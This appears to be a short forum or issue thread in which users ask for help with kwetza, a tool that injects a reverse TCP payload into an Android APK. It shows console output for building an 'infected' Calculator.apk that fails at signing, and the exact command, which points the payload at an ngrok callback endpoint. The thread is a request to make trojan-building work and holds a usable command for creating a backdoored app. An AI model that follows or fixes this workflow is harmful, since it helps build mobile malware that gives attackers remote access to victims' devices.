!!! ERROR IN 'buildAgain' method

[lolybob]

[] DECOMPILING TARGET APK
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
[+] ENDPOINT IP: 0.tcp.ngrok.io
[+] ENDPOINT PORT: *****
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
[+] APKTOOL DECOMPILED SUCCESS
[] BYTING TCP COMMS
[] ANALYZING ANDROID MANIFEST
[] USING CUSTOM ACTIVITY: AssistActivity
[] PREPARING PAYLOADS
[] INJECTING INTO APK
[+] CHECKING IF ADDITIONAL PERMS TO BE ADDED
[] INJECTION OF CRAZY PERMISSIONS TO BE DONE!
[+] TIME TO BUILD INFECTED APK...
[] EXECUTING APKTOOL BUILD COMMAND...
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
[+] BUILD RESULT
#####################################
I: Using Apktool 2.4.1
I: Checking whether sources has changed...
I: Smaling smali folder into classes.dex...
I: Checking whether resources has changed...
I: Copying raw resources...
I: Copying libs... (/META-INF/services)
I: Building apk file...
I: Copying unknown files/dir...
I: Built apk...

#####################################
[*] EXECUTING JARSIGNER COMMAND...
!!! ERROR IN 'buildAgain' method
[Errno 2] No such file or directory
pit@debian:~/Documentos/kwetza$

the program has worked one time but in not working more
how to fix it ?

[lolybob]

comand used: python kwetza.py Calculator.apk tcp 0.tcp.ngrok.io 16775 yes AssistActivity

[kalithero]

same issue. please help

[Gregbeef]

This is still broken in the tool. Just checked.